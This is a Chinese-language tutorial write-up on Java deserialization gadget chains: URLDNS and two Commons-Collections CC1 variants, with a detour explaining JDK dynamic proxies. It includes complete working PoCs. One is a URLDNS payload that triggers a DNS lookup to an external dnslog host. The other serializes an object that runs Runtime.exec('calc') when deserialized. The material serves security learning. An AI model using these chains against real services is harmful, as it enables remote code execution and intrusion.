0 背景
白日梦组长投稿视频-白日梦组长视频分享-哔哩哔哩视频 (bilibili.com)
实验环境
Java:1.8.0_65
IDEA:2022
commons-collecetions:3.2.1
1 URLDNS链分析
URLDNS并不能RCE,只是用来发起dns请求,一般用做初步探测,看能不能反序列化和出网。先给出利用链:
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
感觉反序列化是一个反向寻找链条,正向验证的过程。
1.1 反向
反向的目的是寻找到完整的Gadget。先看一下URLStreanHandler.getHostAddress(URL u)的代码:其实是InetAddress.getBuName(host)来发起dns请求,如果跟进去发还会现调用了InetAddress类中静态方法,但这里还是把getHostAddress作为入口类(sink)。并且URLStreamHandler和URL类都是可以反序列化的,实现了相应接口。
查看那里调用了getHostAddress(Alt+F7或者选中函数右键点击Find Usage),发现URLStreamHandler.hashCode()调用,此处hostsEqual也存在调用,感兴趣可以反向跟踪下。
继续反向查看哪里调用了URLStreamHandler.hashCode(),发现URL.hashCode()存在调用。
查看URL.hashCode()被调用情况,发现有962条。为什么同样是hashCode方法,在URL类中和URLStreamHandler类中被调用情况差别如此之大?这是因为访问控制修饰符的不同:一个是public、一个是protected。
这里选择HashMap.hash()作为上一跳。为什么是HaspMap()?
查看哪里调用了HashMap.hash(),发现HashMap.readObject中通过putVal(hash(key), key, value, false, false);调用了hash。
找到了readObjecet,到此URLDNS链完成。
1.2 初步poc编写
通过上述分析,已经反向找了一条完整的调用链,下面就是分析代码并编写初步的poc,这里是想确保调用链的类是可控的、是通的。然后再正向调试看反序列化后逻辑上能不能通,或者可控等。
Gadget Chain:
HashMap.readObject()
HashMap.putVal()
HashMap.hash()
URL.hashCode()
URLStreamHandler.hashCode()
URLStreamHandler.getHostAddress()
写poc的过程是将从执行类到入口类的封装,例如URLDNS链就需要,先将URLStreamHandler装进URL,再将URL装进HahMap中。这里可以从全局readObject开始分析代码编写poc,也可以局部来。个人更喜欢局部来。
(1)将URLStreamHandler装进URL
先看URL.hashCode()代码。这里要想执行到URLStreamHandler.hashCode()方法,需要将URLStreamHandler的实例对象赋值给URL的handler属性,并且需要URL的hashCode=-1,否则直接return不会走对应逻辑。
幸运的是,URL中的默认handler类型就是URLStreamHandler,并且这里用了transient来修饰,意味着这个变量不能反序列化,所以可以先不考虑操作handler的值。
(2)将URL装进HashMap中
查看HashMap.hash(Object key)代码逻辑:发现只需要把URL装在key中,value的值可以先不用管。
hash的访问权限是默认的,所以没办法在外部类中调用调试。根据这条链,下面就是将HashMap序列化了。
(3)序列化
这里发现了一个小问题:在序列化的时候,就已经会发起DNSLog请求,不过看起来问题不大,因为生成序列化序列和反序列化使用在时间上是存在缝隙的,并不会影响我们判断链条是否可用。
1.3 正向——反序列化调试
下面就是正向调试反序列化调用的流程了,主要是查漏补缺。现在HashMap.readObject()上打断点。这里我们只需要确保调用链没问题继续,而不是去理解各行代码的作用,除非逻辑走不通。跟着调试的话,可以知道能成功走到URL.hashCode(),但没办法走到URLStreamHandler.hashCode(),这是因为URL的hashCode不等于-1,直接返回了。
这里有三个可能:一是序列化前,URL的hashCode发生了改变,不再等于-1(初始化默认值是-1);二是反序列化调用链中,对hashCode的值重新进行了计算;三是一二都起作用了。
(1)序列化前url的hashCode值矫正
先看序列化前url的hashCode值,怎么看?调试看每一步前后url内存的hashCode值就行。
由上图对比在hashMap.put过程中,会改变url.hashCode值,因此,可以在put后修改url.hashCode值,将其变回-1,以实现hashCode值的修正。在URL类中,hashCode时private的,并且没提供相应的set方法,所以需要通过反射来修改hashCode值。
其实这里已经做了相应的矫正,可以继续反序列化调试了。但还是跟进下hashMap.put()的代码,看看url.hashCode值是如何被修改的。
发现put会调用putVal(hash(key), key, value, false, true);这里不就是我们readObject的利用链吗?一眼丁真还真是。这就是为什么在序列化的时候会发起DNS请求。继续跟进,由于一开始hashCode是-1,所以会进入URLStreamHandler.hashCode中,进入调用getHostAddress()发起DNS请求。并且重新计算一个新的hashCode值。
此时,可以再做一点非必要的小改进,将序列化过程中的DNS请求去掉,也就是使得put过程不调用getHostAddress()方法。怎么弄?其实很简单,只要在put之前,将url的hashCode修改为一个不等于-1的值,那就会return返回,不走后面代码逻辑。
(2)序列化前url的hashCode值矫正后的调试
序列化前url的hashCode值矫正后,在重新来调试反序列化流程。发现HashMap.readObject获取key(URL)的时候hashCode值并没发生变化,能成功走完URLDNS链的调用流程,在Yakit中也成功收到请求。到此,链条分析完毕。
1.4 完整POC
本次实验完整POC如下:
package urldns;
import java.io.*;
import java.lang.reflect.Field;
import java.net.MalformedURLException;
import java.net.URL;
import java.util.HashMap;
public class URLDNSTest {
public static void main(String[] args) throws Exception {
// HashMap
URL url = new URL("http://wgsjazfwib.dgrh3.cn");
// url.hashCode();
HashMap hashMap = new HashMap();
Field hashCode = Class.forName("java.net.URL").getDeclaredField("hashCode");
hashCode.setAccessible(true);
hashCode.set(url, 1); //去除序列化过程的dns请求
hashMap.put(url,"URLDNSTest");
// 修改hashCode值 -1
hashCode.set(url, -1);
// int hash = HashMap.hash(url);
serialize(hashMap);
unserilize("urlser.bin");
System.out.println("done");
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("urlser.bin"));
oos.writeObject(obj);
}
public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
public static void binToHex(String filename){
try (FileInputStream inputStream = new FileInputStream(filename)) {
int byteRead;
while ((byteRead = inputStream.read()) != -1) {
System.out.printf("%02X ", byteRead); // 以十六进制格式打印每个字节
}
} catch (IOException e) {
e.printStackTrace();
}
}
}
而在ysoserial中的POC会有所不同,在初始化URL的时候,也给handler赋值。那这个transient的handler会发挥作用了?还真会,因为URL也自定义了writeObejct和readObejct方法,所以在在给HashMap中的key(URL)反序列化赋值的过程中,也会调用URL的readObject方法,能使得反序列化后的handler是URLStreamHandler的子类SilentURLStreamHandler。这里的具体调用过程就不写了。
2 commons-collections库的基本使用
在pom.xml中添加依赖。commons-collections装了Java的Collection(集合)相关类对象及操作。
2.1 cc中的常用类
2.1.1 Transformer接口
是一个接口类,提供了一个对象转换方法transform。
2.1.2 ConstantTransformer
一个Transformer接口的实现类,同时实现了Serializable接口。在初始化是,会传入一个类对象,后续调用该类的transform时,都会返回初始化时传入的类对象。
2.1.3 InvokerTransformer
InvokerTransformer是Transformer接口的实现类,同时实现了Serializable接口。这个能实现任意方法调用,在CC1中,这里就是我们的入口类sink。
2.1.4 ChainedTransformer
ChainedTransformer是Transformer接口的实现类,同时实现了Serializable接口。这个类主要用链式调用。
2.2 RCE调用
2.1 InvokerTransformer实现RCE
InvokerTransformer有三个参数iMethodName、iParamTypes、iArgs,分别代表函数名、函数参数类型、函数参数的实际值。然后可以通过调用transform(Object)方法通过反射相应方法。需要关注transform的传入参数input,input对象会用来加载相应的class源类,并获取Method,最终invoke时,还是要在这个对象的基础上运行的。
以运行Runtime中的exec方法为例子。
上面的代码在本地弹计算器是完全没问题的,但一旦是在反序列化的情况下,就会出现大问题。在调用InvokerTransformer.tranform(Object input)时,我们直接使用Runtime的实例,而Runtime是不可以序列化和反序列化的,因为没有实现Serilizable等接口,这就意味着rt(Runtime实例)没办法通过发序列化传递过去。这样Input为null,自然就不知道exec是那个类的方法。
要解决这个问题,就需要用到ChainedTransformer和ConstantTransformer来实现。
2.2 ConstantTransformer+ChainedTransformer实现RCE
虽然Runtime类不能序列化,但Runtime.class能序列化,实现了Serializable接口。同时由于Runtime是一个已知类,在编译阶段,就会绑定一个Runtime.class而不通过类加载。
需要留意的是,这里调用transform的传入参数可以是任意值,因为ConstantTransformer都会返回Runtime.class,这里传了null。
3 CC1链分析
3.1 反向找Gadget
从上面的分析可知:可将Transformer.transform(Object)作为执行类。查看调用情况,可定位到TransformedMap.checkSetValue(Object)。
发现MapEntry.setValue(Object)调用了TransformedMap.checkSetValue(Object)。
发现AnnotationInvocationHandler.readObject()调用了MapEntry.setValue(Object)。
到此,一条调用链完成。
CC1-1 Gadget:
AnnotationInvocationHandler.readObject()
Map.entrySet()
AbstractInputCheckedMapDecorator$MapEntry.setValue(Object)
TransformedMap.checkSetValue(Object)
ChainedTransformer.transform(Object)
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
3.2 初步poc编写
3.2.1 把ChainedTransformer装进TransformedMap中
先看一下TransformedMap.checkSetValue(Object)。
所以这里我们要控制的对象是Transformer valueTransformer。而在TransformerMap中,是通过static方法decorate来new一个对象。
public static Map decorate(Map map, Transformer keyTransformer, Transformer valueTransformer) {
return new TransformedMap(map, keyTransformer, valueTransformer);
}
protected TransformedMap(Map map, Transformer keyTransformer, Transformer valueTransformer) {
super(map);
this.keyTransformer = keyTransformer;
this.valueTransformer = valueTransformer;
}
又由于TransformedMap.checkSetValue(Object)是protected方法,所有这里办法直接调用。
3.2.2 把TransformedMap装进AbstractInputCheckedMapDecorator$MapEntry中
MapEntry这一种类来说,当Map遍历Entry(一个键值对)时,其底层就会将Map封装进MapEntry中,所以只需要遍历TransformedMap的Entry,并在遍历的过程中调用setValue,就能进入TransformedMap.checkSetValue(Object)中。
而在TransformedMap遍历时,利用的是第一个参数Map,所以需要put个键值对进去,这样在遍历是才会非空,进入循环的逻辑里。
3.2.3 把MapEntry装进AnnotationInvocationHandler
通过3.2.2的分析,若想把MapEntry装进AnnotationInvocationHandler,只需要把TransformedMap装进,然后遍历Entry,就可以自动封装。
分析AnnotationInvocationHandler.readObject(),memberValues这个变量会被循环,并且调用其setValue方法,所以目前只需要将TransformedMap赋值给memberValues变量即可。
查看AnnotationInvocationHandler的构造方法,发现memberValues可控,但构造方法是默认权限,所以需要通过反射来获取构造方法并创建实例。其中,第一个参数需要注解的源类,第二个参数就是目标参数。
初步POC如下:这里第一个参数传入的是Override注解,第二个参数是TransformedMap。
其实这里有一个问题:反序列过程中会遍历TransformedMap.map变量的Entry,但map变量其实是transient的,继承于AbstractMapDecorator。那为什么map能通过序列化传递、反序列化还原呢?其实是因为TransformedMap自带了writeObject和readObject方法,会将map序列化和反序列化。
PS:这里的sun包使用了openjdk的来替换了,所以能看到源码。
3.3 正向——反序列化调试
3.3.1 问题1:注解不存在内部元素
在AnnotationInvocationHandler.readObject中打断点。发现在 if (memberType != null) 这里的逻辑进不去,这是因为Override注解的内部元素是空的。但可以发现Target注解是存在内部元素,所以这里序列化POC中需要将Override注解改为Target注解(不一定是Target,有内部元素即可)。
3.3.2 问题2:TransformedMap中的map中的key在注解中找不到相应的内部元素
TransformedMap的map为{'key': 'value'}。通过memberValue().getKey()得到的结果是key,但Target注解的内部元素是value,所以memberTypes.get(name);这里会返回null。要解决这里,只需要将map中的key改为与注解内部元素名相同即可,在Target注解中,就是将map的"key"改为
"value"。
3.3.3 最终POC
解决上述两个问题后,就可以成功走完逻辑,整条链走通。
4 ysoserial中的CC1
其实ysoserial中CC1和上述链条并不一致。入口点和执行点一直,但其中的调用不相同。
Gadget:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
4.1 代理模式
4.设计模式-结构型模式-JDK代理案例(火车站卖票)_哔哩哔哩_bilibili
ysoserial中的CC1用到了JDK动态代理,为方便理解,先介绍下Java中的代理模式。代理模式其实就是有一个第三方中介去执行我们相干的事,像Struts2请求访问过程就用到了代理。
代理分为静态代理和动态代理,动态代理包括:JDK动态代理和CGLIB动态代理。这里只介绍静态代理和JDK动态代理。
Proxy模式分为三种角色:
- 抽象主题:声明真实主题和代理对象实现的业务方法
- 真实主题:实现抽象主题,是最终要引用的对象
- 代理类:提供与真实主题相同的接口,可以访问、控制、拓展真实主题的功能
4.1.1 静态代理
静态代理在编译过程就会生成相应的代理类。以火车站卖票为例:
抽象主题:自定义SellTickets接口,声明了被代理的方法方法。
public interface SellTickets {
void sell();
}
真实主题:自定义TrainStation类,实现SellTickets接口,重写sell方法。
import TmpTest.ProxyTest.static_proxy.SellTickets;
public class TrainStation implements SellTickets {
@Override
public void sell() {
System.out.println("火车站买票");
}
}
代理类:自定义ProxyPoint类,实现SellTickets接口,重写sell方法。实际是直接调用TrainStation类实例的sell方法,但可以做一些自己的处理。
public class ProxyPoint implements SellTickets{
private TrainStation trainStation = new TrainStation();
@Override
public void sell() {
System.out.println("代售点收取服务费用");
trainStation.sell();
}
}
客户:Client类,通过代理类做事情(买票)。
public class Client {
public static void main(String[] args) {
ProxyPoint proxyPoint = new ProxyPoint();
proxyPoint.sell();
}
}
4.1.2 JDK动态代理
JDK动态代理是在运行时获取代理对象的,并通过反射来调用方法。Java中提供给了一个动态代理类Proxy,Proxy并不是上述所说的代理对象的类(ProxyPoint),而是提供了一个创建代理对象的静态方法(newProxyInstance)来获取真正代理对象。
JDK动态代理中,抽象主题和真实主题是一样,不同的是代理类的获取和被代理方法的调用。
代理类获取:通过Proxy.newProxyInstance()来获取代理类,这里可以创建一个ProxyFactory类来封装代理的获取。实际上,不创建也没关系,都只是通过Proxy.newProxyInstance()来获取代理对象。
import TmpTest.ProxyTest.static_proxy.SellTickets;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Method;
import java.lang.reflect.Proxy;
// 获取代理对象的工厂类
public class ProxyFactory {
private TrainStation station = new TrainStation();
public SellTickets getProxyObject(){
// newProxyInstance的三个参数
// ClassLoader loader,:加载代理类,动态加载
// Class<?>[] interfaces,:代理类实现的接口的字节码对象(SellTicket)
// InvocationHandler h:代理对象的处理程序
SellTickets proxyObject = (SellTickets) Proxy.newProxyInstance(
station.getClass().getClassLoader(),
station.getClass().getInterfaces(),
new InvocationHandler() {
/*
* Object proxy:代理对象,和proxyObject是同一个对象,但invoke中用不到
* Method method:对接口中的方法进行封装的method对象
* Object[] args:调用方法的实际参数,在这个案例中就是sell(),没有参数
* 返回值:就是sell方法的返回值
* */
@Override
public Object invoke(Object proxy, Method method, Object[] args) throws Throwable {
System.out.println("invoke方法执行了");
System.out.println("代售点收取一定服务费用");
Object obj = method.invoke(station, args);
return obj;
}
}
);
return proxyObject;
}
}
Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h):该方法有三个重要参数。
- ClassLoader loader:类加载器,动态加载
- Class<?>[] interfaces:被代理的抽象主题,interfaces中定义的方法都可以被代理。
- InvocationHandler h:代理对象的处理类,只要代理对象执行相应的抽象主题方法时就会调用InvocationHadnler.invoke()来处理逻辑
public Object invoke(Object proxy, Method method, Object[] args):代理对象处理类的执行方法,也有三个参数和一个返回值:
- Object proxy:代理对象,和proxyObject是同一个对象,但invoke中用不到
- Method method:对接口中的方法进行封装的method对象
- Object[] args:调用方法的实际参数,在这个案例中就是sell(),没有参数
- 返回值:就是sell方法的返回值
客户调用:
public class Client {
public static void main(String[] args) {
//获取代理对象
// 1. 创建一个代理工厂
ProxyFactory factory = new ProxyFactory();
// 2. 获取代理对象
SellTickets proxyObject = factory.getProxyObject();
// 3. 可以调用接口定义的方法
proxyObject.sell();
// 下面代码是为了用Arthas来获取代理类
System.out.println(proxyObject.getClass());
while(true){}
}
}
在JDK动态代理中,并不需要用户自定义代理类,运行时会自动生成代理存在于内存中。为方便理解,借用arthas库读取代理类。
把代码复制下来,并去除无用部分。
这个代理类$Proxy0就是上述例子通过Proxy.newProxyInstance()获得的代理proxyObject,当然在这里用了factory.getProxyObject();只是因为对Proxy.newProxyInstance()做了封装而已。然后Client通过proxyObject.sell()调用$Proxy0的sell方法,进而会调用h.invoke(也就是newProxyInstance中传入的第三个参数)。
现在再回来看Object newProxyInstance(ClassLoader loader, Class<?>[] interfaces, InvocationHandler h)的三个参数。
- ClassLoader loader:谁来加载
- Class<?>[] interfaces:给谁做代理
- InvocationHandler h:谁来处理代理调用
4.2 ysoserial-CC1-POC编写
4.2.1 把ChainedTransformer装进LazyMap中:LazyMap.get()调用了transforme()
LazyMap也是通过decorate来创建类的
所以代码如下:
4.2.2 把LazyMap装进AnnotationInvocationHandler:AnnotationInvocationHandler.invoke调用了LazyMap.get()
查看invoke代码,也是把LazyMap放入memberValues中,和 TransformedMap 的那条链差不多。但不能需要该对象类型,不能时Object了,这是因为需要用到相应的方法了,如果是Object的话,就没法调用invoke,这是多态的特性。
4.2.3 那什么地方调用了AnnotationInvocationHandler.invoke()呢?
AnnotationInvocationHandler显然是一个代理处理类,因为实现了InvocationHandler接口。对于代理类的invoke方法,当被代理的方法被调用时,就会自动执行。以最终POC的代码说明一下:
这里选择了Map作为被代理的抽象主题,4.2.2中获得AnnotationInvocationHandler实例aih作为处理类。所以当Map接口中定义的方法通过代理类mapProxy调用的时候,机会执行aih.invoke方法。所以下一步就是代理类mapProxy调用,也就是要把mapProxy封装到下一个类中。
这里为什么选择Map呢?其实不一定非要是Map,但Map会容易些,代理类xxxProxy的定义类型是和被代理一样,例如在这里mapProxy是Map类型的。
在回到invoke方法中,要走到get方法其实有不少限制。
但恰恰AnnotationInvocationHandler(aih2)的readObject方法中调用memberValues.entrySet(),这是也给Map的无参方法。所以,如果memberValues是Map类型的代理类,并且把AnnotationInvocationHandler(aih1)作为处理类,那当memberValues.entrySet()方法被调用的时候,就会走到AnnotationInvocationHandler.invoker中,并且能顺利走到memberValuesget里。这就是为什么上面用Map作为被代理主题。
需要注意的是这里用到了两个AnnotationInvocationHandler,第一个AnnotationInvocationHandler的memberValues是LazyMap,它的目的是调用LazyMap.get();第二个AnnotationInvocationHandler的memberValues是(Map)mapProxy,是为了调用AnnotationInvocationHandler.invoke。
4.3 最终POC
package CCTest;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.*;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections.map.TransformedMap;
import org.apache.commons.collections.*;
import java.io.*;
import java.lang.annotation.Target;
import java.lang.reflect.Constructor;
import java.lang.reflect.InvocationHandler;
import java.lang.reflect.Proxy;
import java.util.HashMap;
import java.util.Map;
public class CC1_2 {
public static void main(String[] args) throws Exception {
// 1. 基本调用
// Runtime rt = Runtime.getRuntime();
// InvokerTransformer execInvoker = new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"});
// execInvoker.transform(rt);
// 2. 解决Runtime无法序列化问题
Transformer[] tranformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
};
ChainedTransformer chainedTransformer = new ChainedTransformer(tranformers);
// chainedTransformer.transform(null);
HashMap hashMap = new HashMap();
// hashMap.put("value", "value");
Map<Object, Object> lazymap = LazyMap.decorate(hashMap, chainedTransformer);
// lazymap.get("123");
Class aihClass = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor aihConstructor = aihClass.getDeclaredConstructor(Class.class, Map.class);
aihConstructor.setAccessible(true);
InvocationHandler aih = (InvocationHandler) aihConstructor.newInstance(Target.class, lazymap);
Map mapProxy = (Map) Proxy.newProxyInstance(LazyMap.class.getClassLoader(), new Class[]{Map.class}, aih);
Object o = aihConstructor.newInstance(Target.class, mapProxy);
serialize(o);
unserilize("cc1.bin");
// for(Map.Entry entry:transformedMap.entrySet()){
// entry.setValue(null);
// }
// System.out.println(transformedMap.entrySet());
}
public static void serialize(Object obj) throws Exception {
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("cc1.bin"));
oos.writeObject(obj);
}
public static Object unserilize(String filename) throws IOException, ClassNotFoundException {
ObjectInputStream ois = new ObjectInputStream(new FileInputStream(filename));
Object obj = ois.readObject();
return obj;
}
}
4.4 两条CC1总结
CC1-1 Gadget:
AnnotationInvocationHandler.readObject()
Map.entrySet()
AbstractInputCheckedMapDecorator$MapEntry.setValue(Object)
TransformedMap.checkSetValue(Object)
ChainedTransformer.transform(Object)
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
CC1-2 Gadget:
AnnotationInvocationHandler.readObject()
Map(Proxy).entrySet()
AnnotationInvocationHandler.invoke()
LazyMap.get()
ChainedTransformer.transform()
ConstantTransformer.transform()
InvokerTransformer.transform()
Method.invoke()
Class.getMethod()
InvokerTransformer.transform()
Method.invoke()
Runtime.getRuntime()
InvokerTransformer.transform()
Method.invoke()
Runtime.exec()
5 反序列化利用链知识补充
5.1 反序列相关名词
- Source:指反序列化的入口类,在特指readObject引起的反序列化漏洞,上述中HashMap和AnnotationInvocationHandler都是Source类,一般这种都要有以下的一些特性:继承Seriliable等接口、重写readObject方法、类的内部变量类型宽泛(这样才能方便传入可控变量);
- Sink:指执行类或者是具体的方法,例如URLDNS中的getHostAddress和CC1中transform。
- Gadget:调用链,从Source到Sink的调用过程。
source和sink都有可以自己定义,你的sink越底层,链条误报就越大,但比较全。
5.2 Java访问权限控制符
访问权限修饰符 | 当前类 | 同一包内的类 | 子类 | 同一包中的子类 | 不同包中的子类 |
---|---|---|---|---|---|
public | ✔️ | ✔️ | ✔️ | ✔️ | ✔️ |
protected | ✔️ | ✔️ | ✔️ | ✔️ | ❌ |
默认 | ✔️ | ✔️ | ❌ | ❌ | ❌ |
private | ✔️ | ❌ | ❌ | ❌ | ❌ |
这个需要了解下,在找链条的时候,需要找public的方法才能跳出类包,但IDEA其实很智能,Find Usage搜索的时候也把函数访问权限控制符的作用考虑进去了。这里做了解主要是方便我们做局部调试,不要看到proteced或private方法,也去急冲冲调试,先找到public再调试。但链条到了一个private后,没有调用了,是否意味着链条断了呢?不是,还存在反射调用的可能,这时候可以全局搜索private方法对应的类.class。
5.3 一些逼逼叨叨
在分析链条的时候,我分为了三步:反向找调用链,poc编写,正向调试。这只是为了更方便写,在自己学习或者找链的过程中,一步一步写和一步一步调也行,主要是看链的代码复杂与否,并且调用链感觉还是得用工具来找,自己找命都没了。